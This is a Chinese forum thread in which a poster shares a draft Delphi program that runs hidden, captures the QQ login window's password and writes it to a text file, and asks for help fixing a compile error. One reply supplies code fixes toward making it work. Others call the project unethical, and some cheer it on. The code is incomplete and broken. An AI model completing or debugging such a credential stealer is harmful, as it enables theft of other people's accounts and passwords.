各位高手一起来编黑客软件!(100分)

小弟近日写了个QQ密码盗取软件,遇技术上的问题,特来请教各位大虾:
程序原理是后台运行,自动捕捉QQ登陆框,获得密码后,保存在名为a.TXT的文件里,代码如下:
unit OICQhack;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Timer1: TTimer;
SaveDialog1: TSaveDialog;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
hWnd:Longword;
WinTextChar;
a:char;
savetofile:TStringList;
filename:char;

implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
form1.WindowState :=WSMinimized;
Timer1.Enabled :=True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
hWnd:=FindWindow(nil,winText);
if (hWnd<>0) then
SendMessage(hWnd,WM_GETTEXT,0,SaveToFile+(filename));
/*程序在此处编译出现错误*/
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Timer1.Enabled :=False;
WinText:='QQ用户登录';
end;

end.

这只是一个初稿,还未编完,望各位大虾赐教.帮小弟找出错误,一起完善它,谢了!

最好不要编写。

同意Tense的意见

QQ密码机没什么意思！

丢，不好玩

千夜雪兄我支持你！继续加油吧，写好就E一份过来给我啊。小弟在这里先谢了！
jiajiaboy@163.net

小弟菜鸟，若是回答的起不了作用，千万别PK我
建议将Var下的HWND:Longword;改为HWND:HWND;
还有不要忘了一件事：
GetMem(Wintext,255);
加在Timer1Timer里面，对于SendMessage(hWnd,WM_GETTEXT,0,SaveToFile+(filename));

则用
Try
SendMessage(hWnd,WM_GETTEXT,0,Longint(SaveToFile+(filename)));
//如果该处改动打乱您的初衷，可以不改
Finally
FreeMem(Wintext);
end;

o

每多大意思。
SendMessage(hWnd,WM_GETTEXT,0,Longint(Pchar(SaveToFile+(filename))));

以上的方法经我验证是有问题的，我解决了。不过，这个程序有些不道德，我决定不
公布修改后的代码。

我觉得也是了。这个不道德了。偷人家的QQ密码不好。有一天自己的被盗了。怎么办？

没什么意思哪！无聊。要那么多号码干什么？泡妹妹？自己用？很无聊。
再说，如果tencent把协议或方式变了。你的东东就废物一个了！

跟协议有什么关系
晕

同意chenfeng1029

装了金山毒霸2002完全没作用的

是不是太闷了？

我们讨论的只是技术，觉得这不道德的，大可以不发言！

你的QQ被盗过吗？

无聊！

这是什么技术哦！